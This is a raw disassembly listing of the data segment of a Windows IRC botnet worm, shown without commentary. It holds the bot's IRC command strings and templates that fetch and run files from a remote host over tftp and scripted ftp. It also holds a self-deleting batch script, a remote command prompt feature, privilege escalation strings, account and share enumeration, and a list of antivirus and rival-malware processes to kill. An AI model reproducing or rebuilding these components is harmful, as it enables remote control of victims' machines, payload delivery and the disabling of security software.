seg002:0044CF18o align 10h aGf db 'gf',0 ; DATA XREF: seg002:0044CF1Co align 4 aRt db 'rt',0 ; DATA XREF: seg002:0044CF20o align 4 aSdf db 'sdf',0 ; DATA XREF: seg002:0044CF24o aUi db 'ui',0 ; DATA XREF: seg002:0044CF28o align 10h aLuvy db 'luvy',0 ; DATA XREF: seg002:0044CF2Co align 4 aTrimy db 'trimy',0 ; DATA XREF: seg002:0044CF30o align 10h aTruck db 'truck',0 ; DATA XREF: seg002:0044CF34o align 4 aMuckc db 'muckc',0 ; DATA XREF: seg002:0044CF38o align 10h aZ_0: ; DATA XREF: seg002:0044CF3Co unicode 0, <z>,0 aG_0: ; DATA XREF: seg002:0044CF40o unicode 0, <g>,0 aS_33: ; DATA XREF: seg002:0044CF44o unicode 0, <s>,0 aQ_1: ; DATA XREF: seg002:0044CF48o unicode 0, <q>,0 off_44D710 dd offset loc_42523D+5 ; DATA XREF: seg002:0044CF4Co dword_44D714 dd 6C62627Ch, 0 dword_44D71C dd 5F7C5Fh dword_44D720 dd 46h dword_44D724 dd 4Dh aLuvu db 'LUVU',0 ; DATA XREF: seg002:0044CF78o align 10h aSad db 'Sad',0 ; DATA XREF: seg002:0044CF7Co aF_0 db '^^^f^',0 ; DATA XREF: seg002:0044CF80o align 4 aB_0: ; DATA XREF: seg002:0044CF84o unicode 0, <b>,0 aSleeping db 'Sleeping',0 ; DATA XREF: seg002:0044CF8Co align 4 aFuck_0 db 'Fuck',0 ; DATA XREF: seg002:0044CF98o align 4 aFree_0 db 'Free',0 ; DATA XREF: seg002:0044CF9Co align 4 asc_44D75C: ; DATA XREF: seg002:0044CFA8o unicode 0, <X>,0 aBoy db 'BOY',0 ; DATA XREF: seg002:0044CFB0o aGirl_0 db 'GIRL',0 ; DATA XREF: seg002:0044CFB4o align 4 aGurl db 'gurl',0 ; DATA XREF: seg002:0044CFB8o align 4 aShit db 'shit',0 ; DATA XREF: seg002:0044CFBCo align 4 aAha db 'aha',0 ; DATA XREF: seg002:0044CFC0o aYeah db 'yeah',0 ; DATA XREF: seg002:0044CFC4o align 4 aMuha db 'muha',0 ; DATA XREF: seg002:0044CFC8o align 10h aMof0 db 'mof0',0 ; DATA XREF: seg002:0044CFCCo align 4 aMofo db 'mofo',0 ; DATA XREF: seg002:0044CFD0o align 10h aTot_0 db 'tot',0 ; DATA XREF: seg002:0044CFD4o aLol db 'lol',0 ; DATA XREF: seg002:0044CFD8o aLoloA db 'lolo|a|',0 ; DATA XREF: seg002:0044CFDCo aSex4free db '|sex4free|',0 ; DATA XREF: seg002:0044CFE0o align 4 a4us db '|4us|',0 ; DATA XREF: seg002:0044CFE4o align 4 a4you db '{4you}',0 ; DATA XREF: seg002:0044CFE8o align 4 a4u db '|4u|',0 ; DATA XREF: seg002:0044CFECo align 4 a5u db '5u',0 ; DATA XREF: seg002:0044CFF0o align 4 a6u db '6u',0 ; DATA XREF: seg002:0044CFF4o align 4 asc_44D7DC: ; DATA XREF: seg000:00416DC6o dw 0Ah unicode 0, <>,0 asc_44D7E0: ; DATA XREF: sub_416E07+Co unicode 0, < >,0 asc_44D7E4: ; DATA XREF: sub_416E07:loc_416E2Do unicode 0, < >,0 aPing_2 db 'PING',0 ; DATA XREF: sub_416E07+52o align 10h aPongS_0 db 'PONG %s',0Ah,0 ; DATA XREF: sub_416E07+69o align 4 a433 db '433',0 ; DATA XREF: sub_416E07:loc_416E80o a432 db '432',0 ; DATA XREF: sub_416E07+8Ao aNickS_3 db 'NICK %s',0Ah,0 ; DATA XREF: sub_416E07+C5o align 10h aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_416F00+98o db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 10h a__1 db '-|`_\{[]}',0 ; DATA XREF: sub_417120+BCo ; sub_417120+175r ... align 4 dword_44D84C dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_44D898 dd 3000005h, 10h, 18h, 1, 3 dup(0)dword_44D8B4 dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0 ; DATA XREF: sub_417569+118o dword_44D8C8 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_417569+13Fo aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: seg000:004179A7o align 10h aMirc_2 db 'mIRC',0 ; DATA XREF: sub_4179FA+5o align 4 aMirc_3 db 'mIRC',0 ; DATA XREF: sub_4179FA+18o align 10h aExplorer_exe db 'explorer.exe',0 ; DATA XREF: seg000:00417A9Bo align 10h aSS_5 db '%s %s',0 ; DATA XREF: seg000:00417B65o align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_417BA1+2o aSdel_bat db '%sdel.bat',0 align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aComspecCSS db '%%comspec%% /c %s %s',0 align 4 dword_44D994 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 6F1F026Ch ; DATA XREF: seg000:00417DA7o dd 267021Fh, 2C313003h, 3A353103h, 25203203h, 34032073h dd 6F026C02h, 43022067h, 61656C02h, 646572h dword_44D9CC dd 35310302h, 25B302Ch, 91313003h, 2343003h, 6F1F026Ch ; DATA XREF: seg000:00417DDAo dd 267021Fh, 2C313003h, 3A353103h, 2203203h, 69610246h dd 2064656Ch, 69025702h, 2206874h, 72720245h, 220726Fh dd 646F0243h, 20340365h, 6425h dword_44DA14 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 6F1F026Ch ; DATA XREF: seg000:00417DE7o dd 267021Fh, 2C313003h, 3A353103h, 2203203h, 6570024Fh dd 69746172h, 220676Eh, 73790253h, 206D6574h, 2207369h dd 746F024Eh, 2530220h, 6F707075h, 64657472h, 0 aTftpISGetSS db 'tftp -i %s get %s &%s',0Dh,0Ah,0 ; DATA XREF: sub_417E0E+9Do aEchoOpenSDOE_0 db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu' ; DATA XREF: sub_417E0E+C6o db 'it >> o &ftp -n -s:o &%s',0Dh,0Ah,0 aNetapi32_dll_0 db 'netapi32.dll',0 ; DATA XREF: seg000:00417F96o align 4 aNetmessagebu_0 db 'NetMessageBufferSend',0 ; DATA XREF: seg000:00417FA3o align 10h off_44DB00 dd offset dword_44DB54 ; DATA XREF: sub_41805B+6Dr ; sub_41843F+50r ... off_44DB04 dd offset aAdded ; DATA XREF: sub_41805B+2Dr ; sub_41843F+82r ... ; "Added" dword_44DB08 dd 0 dd offset aDelete_1 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" dd 0 dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 44DBA0h, 44DBA8h, 2, 44DBB0h, 44DBBCh, 3 dword_44DB54 dd 646441h aAdded db 'Added',0 ; DATA XREF: seg002:off_44DB04o align 10h aDelete_1 db 'Delete',0 ; DATA XREF: seg002:0044DB0Co align 4 aDeleted db 'Deleted',0 ; DATA XREF: seg002:0044DB10o aList_1 db 'List',0 ; DATA XREF: seg002:0044DB18o align 4 aListed db 'Listed',0 ; DATA XREF: seg002:0044DB1Co align 10h aStart_0 db 'Start',0 ; DATA XREF: seg002:0044DB24o align 4 aStarted db 'Started',0 ; DATA XREF: seg002:0044DB28o aStop_0 db 'Stop',0 ; DATA XREF: seg002:0044DB30o align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: seg002:0044DB34o aPause_0 db 'Pause',0 align 4 aPaused db 'Paused',0 align 10h aContinue_0 db 'Continue',0 align 4 aContinued db 'Continued',0 align 4 unk_44DBC8 db 2 ; DATA XREF: sub_41805B+38o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 4Eh ; N db 2, 1Fh, 65h db 1Fh db 2, 54h, 2 db 3 db 30h, 31h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2SServiceS db '2 %s service: ',27h,'%s',27h,0 unk_44DBFC db 2 ; DATA XREF: sub_41805B+55o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 4Eh ; N db 2, 1Fh, 65h db 1Fh db 2, 54h, 2 db 3 db 30h, 31h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2ErrorWithServ db '2 error with service: ',27h,'%s',27h,' - %s',0 align 10h unk_44DC40 db 2 ; DATA XREF: sub_41805B+74o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 4Eh ; N db 2, 1Fh, 65h db 1Fh db 2, 54h, 2 db 3 db 30h, 31h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2SNoServiceSpe db '2 %s: no service specified',0 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_418184:loc_41825Do align 4 aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_418184:loc_4181DEo aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_418184+3Co align 10h aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_418184:loc_4181D4o align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_418184:loc_4181E8o aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_418184:loc_418232o align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_418184+8Fo aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_418184:loc_418264o db 'marked for deletion.',0 align 4 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_418184:loc_41826Bo align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_418184:loc_418272o align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_418184:loc_418279o align 10h aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_418184:loc_418280o db ' correct access rights.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_418184:loc_418287o align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_418184:loc_41821Do align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_418184:loc_418224o db 'tServiceCtrlDispatcher.',0 align 4 aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_418184:loc_4181F2o db 'dependent on it.',0 align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_418184:loc_4181CAo align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_418184:loc_41822Bo db ' the service.',0 align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_418184:loc_41828Eo db 'the state of the service.',0 align 10h aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_418184:loc_418295o align 4 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_418184:loc_41829Co align 4 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418184+12Co align 4 aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_418302+25o align 4 aStopped db ' Stopped',0 ; DATA XREF: sub_418302:loc_4183CEo aStarting db ' Starting',0 ; DATA XREF: sub_418302:loc_4183C7o aStoping db ' Stoping',0 ; DATA XREF: sub_418302:loc_4183C0o aRunning db ' Running',0 ; DATA XREF: sub_418302:loc_4183B9o aContinuing db ' Continuing',0 ; DATA XREF: sub_418302:loc_4183B2o aPausing db ' Pausing',0 ; DATA XREF: sub_418302:loc_4183ABo aPaused_0 db ' Paused',0 ; DATA XREF: sub_418302:loc_4183A4o aUnknown_1 db ' Unknown',0 ; DATA XREF: sub_418302+9Bo aSSS_2 db '%s: %s (%s)',0 ; DATA XREF: sub_418302+EBo dword_44E1B4 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 651F024Eh ; DATA XREF: sub_41843F+89o dd 254021Fh, 2C313003h, 3A353103h, 25203203h, 68732073h dd 3A657261h, 73252720h, 27h unk_44E1E8 db 2 ; DATA XREF: sub_41843F+57o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 4Eh ; N db 2, 1Fh, 65h db 1Fh db 2, 54h, 2 db 3 db 30h, 31h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2SErrorWithSha db '2 %s: error with share: ',27h,'%s',27h,' - %s',0 align 4 unk_44E22C db 2 ; DATA XREF: sub_41843F+ABo db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 4Eh ; N db 2, 1Fh, 65h db 1Fh db 2, 54h, 2 db 3 db 30h, 31h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2SNoShareSpeci db '2 %s: no share specified',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_418634+26o align 10h aYes db 'Yes',0 ; DATA XREF: sub_418634+B5o aNo db 'No',0 ; DATA XREF: sub_418634+BCo align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418634+D0o align 10h unk_44E2C0 db 2 ; DATA XREF: sub_418634+76o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 4Eh ; N db 2, 1Fh, 65h db 1Fh db 2, 54h, 2 db 3 db 30h, 31h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2ShareListErro db '2 Share list Error %s <%ld>',0 align 10h unk_44E300 db 2 ; DATA XREF: sub_418755+6Do db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 4Eh ; N db 2, 1Fh, 65h db 1Fh db 2, 54h, 2 db 3 db 30h, 31h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2SUsernameS db '2 %s username: ',27h,'%s',27h,0 align 4 unk_44E338 db 2 ; DATA XREF: sub_418755+94o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 4Eh ; N db 2, 1Fh, 65h db 1Fh db 2, 54h, 2 db 3 db 30h, 31h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2SErrorWithUse db '2 %s: error with username: ',27h,'%s',27h,' - %s',0 align 10h unk_44E380 db 2 ; DATA XREF: sub_418755+B6o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 4Eh ; N db 2, 1Fh, 65h db 1Fh db 2, 54h, 2 db 3 db 30h, 31h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2SNoUsernameSp db '2 %s: no username specified',0 align 10h aAccountS db 'Account: %S',0 ; DATA XREF: sub_41889B+50o aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_41889B+81o align 4 aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_41889B+ACo align 10h aCommentS db 'Comment: %S',0 ; DATA XREF: sub_41889B+D4o aGuest db 'Guest',0 ; DATA XREF: sub_41889B:loc_4189B4o align 4 aUser_3 db 'User',0 ; DATA XREF: sub_41889B:loc_4189ADo align 4 aAdministrator db 'Administrator',0 ; DATA XREF: sub_41889B:loc_4189A6o align 4 aUnknown_0 db 'Unknown',0 ; DATA XREF: sub_41889B+104o aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_41889B+125o aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_41889B+14Do align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_41889B+178o align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_41889B+1A0o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_41889B+1CBo align 10h aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_41889B+1F3o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_41889B+21Eo align 10h aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_41889B+246o align 10h aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_41889B+271o aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_41889B+299o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_41889B+2C4o align 4 aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_41889B+2ECo align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_41889B+317o aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_41889B+33Fo align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_41889B+36Ao align 4 unk_44E548 db 2 ; DATA XREF: sub_41889B+394o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 4Eh ; N db 2, 1Fh, 65h db 1Fh db 2, 54h, 2 db 3 db 30h, 31h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2UserInfoError db '2 user info error <%ld>',0 align 4 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_418C69+29o unk_44E5A8 db 2 ; DATA XREF: sub_418C69+F7o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 4Eh ; N db 2, 1Fh, 65h db 1Fh db 2, 54h, 2 db 3 db 30h, 31h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2AnAccessViola db '2 an access violation has occured',0 align 4 aS_34 db ' %S',0 ; DATA XREF: sub_418C69+BEo align 4 unk_44E5F4 db 2 ; DATA XREF: sub_418C69+7Ao db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 4Eh ; N db 2, 1Fh, 65h db 1Fh db 2, 54h, 2 db 3 db 30h, 31h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2UserListError db '2 user list error %s <%ld>',0 aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_418C69+14Fo align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_418DE9:loc_418E4Co align 4 aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_418DE9:loc_418E8Do aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_418DE9:loc_418E56o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_418DE9+3Bo align 10h aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_418DE9:loc_418E42o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_418DE9:loc_418E38o align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_418DE9:loc_418E2Eo align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_418DE9:loc_418EF8o align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_418DE9+89o align 10h aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_418DE9:loc_418E7Co align 4 aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_418DE9:loc_418E86o aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_418DE9:loc_418EF1o align 4 aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_418DE9+CFo db ' the domain.',0 align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_418DE9:loc_418EC6o align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_418DE9:loc_418EBFo align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_418DE9:loc_418ECDo db 'ord policy requirement.)',0 align 4 aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_418DE9:loc_418F06o align 4 aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_418DE9:loc_418E94o aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_418DE9:loc_418EFFo align 4 aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_418DE9:loc_418EEAo align 4 unk_44E908 db 2 ; DATA XREF: seg000:00418F9Eo db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 4Eh ; N db 2, 1Fh, 65h db 1Fh db 2, 54h, 2 db 3 db 30h, 31h, 2Ch db 3 db 31h, 35h, 3Ah db 3 a2MessageSentSu db '2 message sent successfully',0 align 4 dword_44E948 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 651F024Eh ; DATA XREF: seg000:00418FC8o dd 254021Fh, 2C313003h, 3A353103h, 25203203h, 34032073h dd 76726553h, 3A037265h, 20532520h, 654D3403h, 67617373h dd 203A0365h, 5325h dword_44E98C dd 7530h off_44E990 dd offset dword_44E9F0 ; DATA XREF: sub_419046+CBo dd offset dword_44E9FC dd offset dword_44EA0C dd offset dword_44EA18 dd offset dword_44EA24 dd offset dword_44EA30 dd offset dword_44EA3C dd offset dword_44EA4C dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset aSysinfo_exe ; "sysinfo.exe" dd offset aMscvb32_exe ; "mscvb32.exe" dd offset aMsblast_exe ; "MSBLAST.exe" dd offset aTeekids_exe ; "teekids.exe" dd offset aPenis32_exe ; "Penis32.exe" dd offset aBbeagle_exe ; "bbeagle.exe" dd offset aSysmonxp_exe ; "SysMonXP.exe" dd offset aWinupd_exe ; "winupd.exe" dd offset aWinsys_exe ; "winsys.exe" dd offset aSsate_exe ; "ssate.exe" ; --------------------------------------------------------------------------- add al, 0EBh inc esp add [eax], dl jmp short loc_44EA2B ; --------------------------------------------------------------------------- align 4 dd offset aIrun4_exe ; "irun4.exe" dd offset aI11r54n4_exe ; "i11r54n4.exe" dword_44E9F0 dd 65676572h, 2E746964h, 657865h ; seg002:off_44E990o dword_44E9FC dd 6F63736Dh, 6769666Eh, 6578652Eh, 0dword_44EA0C dd 7374656Eh, 2E746174h, 657865hdword_44EA18 dd 6C62736Dh, 2E747361h, 657865hdword_44EA24 dd 7270617Ah db 6Fh, 2Eh, 65h ; --------------------------------------------------------------------------- loc_44EA2B: ; CODE XREF: seg002:0044E9E5j js short near ptr aSysinfo_exe+0Ah ; --------------------------------------------------------------------------- db 3 dup(0) dword_44EA30 dd 7776616Eh, 652E3233h, 6578hdword_44EA3C dd 6176616Eh, 32337770h, 6578652Eh, 0dword_44EA4C dd 656E6F7Ah, 72616C61h, 78652E6Dh, 65haWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: seg002:0044E9B0o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: seg002:0044E9B4o align 4 aSysinfo_exe db 'sysinfo.exe',0 ; CODE XREF: seg002:loc_44EA2Bj ; DATA XREF: seg002:0044E9B8o aMscvb32_exe db 'mscvb32.exe',0 ; DATA XREF: seg002:0044E9BCo aMsblast_exe db 'MSBLAST.exe',0 ; DATA XREF: seg002:0044E9C0o aTeekids_exe db 'teekids.exe',0 ; DATA XREF: seg002:0044E9C4o aPenis32_exe db 'Penis32.exe',0 ; DATA XREF: seg002:0044E9C8o aBbeagle_exe db 'bbeagle.exe',0 ; DATA XREF: seg002:0044E9CCo aSysmonxp_exe db 'SysMonXP.exe',0 ; DATA XREF: seg002:0044E9D0o align 10h aWinupd_exe db 'winupd.exe',0 ; DATA XREF: seg002:0044E9D4o align 4 aWinsys_exe db 'winsys.exe',0 ; DATA XREF: seg002:0044E9D8o align 4 aSsate_exe db 'ssate.exe',0 ; DATA XREF: seg002:0044E9DCo align 4 aRate_exe db 'rate.exe',0 align 10h aD3dupdate_exe db 'd3dupdate.exe',0 align 10h aIrun4_exe db 'irun4.exe',0 ; DATA XREF: seg002:0044E9E8o align 4 aI11r54n4_exe db 'i11r54n4.exe',0 ; DATA XREF: seg002:0044E9ECo align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_419046+5Ao align 10h aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_419046+17Do align 4 aSD_1 db ' %s (%d)',0 ; DATA XREF: sub_419046+18Bo align 4 aSD_2 db ' %s (%d)',0 ; DATA XREF: sub_419046+19Fo align 4 aSedebugprivi_0 db 'SeDebugPrivilege',0 ; DATA XREF: sub_419046+207o align 4 dword_44EB88 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 2720250h ; DATA XREF: sub_419289+19o dd 263026Fh, 30030273h, 31032C32h, 32035D35h, 26C0220h dd 2730269h, 6E026974h, 2206702h, 6F720250h, 65026302h dd 2730273h, 3A7365h dword_44EBCC dd 35310302h, 25B302Ch, 91323003h, 2343003h, 2720250h ; DATA XREF: sub_419289+80o dd 263026Fh, 30030273h, 31032C32h, 32035D35h, 2500220h dd 63026F72h, 73026502h, 2207302h, 269026Ch, 20740273h dd 6F024302h, 270026Dh, 7402656Ch, 6502h dword_44EC18 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 2720250h ; DATA XREF: sub_419289:loc_419310o dd 263026Fh, 30030273h, 31032C32h, 32035D35h, 2500220h dd 63026F72h, 73026502h, 2207302h, 269026Ch, 20740273h dd 61024602h, 6C026902h, 64026502h, 0 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: seg000:00419459o aS_24 db '%s',0 ; DATA XREF: seg000:loc_419472o align 4 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 24D0263h dd 30030264h, 31032C32h, 32033A35h, 756F4320h, 6E20646Ch dd 7220746Fh, 20646165h, 61746164h, 6F726620h, 7270206Dh dd 6563636Fh, 0A0D7373h, 0 db 2 db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 63h ; c db 2, 4Dh, 2 db 64h ; d db 2, 3, 30h db 32h ; 2 db 2Ch, 3, 31h db 35h ; 5 db 3Ah, 3, 32h aProccessHasTer db ' Proccess has terminated.',0Dh,0Ah,0 db 2 db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 63h ; c db 2, 4Dh, 2 db 64h ; d db 2, 3, 30h db 32h ; 2 db 2Ch, 3, 31h db 35h ; 5 db 3Ah, 3, 32h aCouldNotReadDa db ' Could not read data from proccess.',0Dh,0Ah,0 align 4 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_419602+20o unk_44ED4C db 2 ; DATA XREF: sub_419602+150o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 63h ; c db 2, 4Dh, 2 db 64h ; d db 2, 3, 30h db 32h ; 2 db 2Ch, 3, 31h db 35h ; 5 db 3Ah, 3, 32h aRemoteCommandP db ' Remote Command Prompt',0 align 4 unk_44ED84 db 2 ; DATA XREF: sub_419602+198o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 32h, 91h db 3 db 30h, 34h, 2 db 63h ; c db 2, 4Dh, 2 db 64h ; d db 2, 3, 30h db 32h ; 2 db 2Ch, 3, 31h db 35h ; 5 db 3Ah, 3, 32h aFailedToStartI db ' Failed to start IO thread, error: <%d>.',0 align 10h off_44EDD0 dd offset dword_44EDF0 ; DATA XREF: seg000:004199CDo ; seg000:00419CB7o align 8 dd offset dword_44EDF8 align 10h off_44EDE0 dd offset dword_44EE00 ; DATA XREF: seg000:00419D1Fo dd offset dword_44EE04 dd offset dword_44EE08 dd offset dword_44EE0C dword_44EDF0 dd 24435049h, 0 ; seg002:off_44EDD0o dword_44EDF8 dd 494D4441h, 244Ehdword_44EE00 dd 2443h dword_44EE04 dd 5C3A43h dword_44EE08 dd 2444h dword_44EE0C dd 5C3A44h word_44EE10 dw 4Eh ; DATA XREF: seg000:00419852r align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: seg000:0041986Eo align 10h unk_44EE20 db 2 ; DATA XREF: seg000:00419880o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 1Fh, 65h db 1Fh db 2, 63h, 2 db 75h ; u db 2, 72h, 65h db 2 db 3, 30h, 31h db 2Ch ; , db 3, 31h, 35h db 3Ah ; : db 3, 32h, 20h aDisableDcomFai db 'Disable DCOM failed.',0 align 10h dword_44EE60 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 651F0253h ; DATA XREF: seg000:loc_419887o dd 263021Fh, 65720275h, 31300302h, 3531032Ch, 2032033Ah dd 4D4F4344h, 73696420h, 656C6261h, 2E64h unk_44EE98 db 2 ; DATA XREF: seg000:004198ABo db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 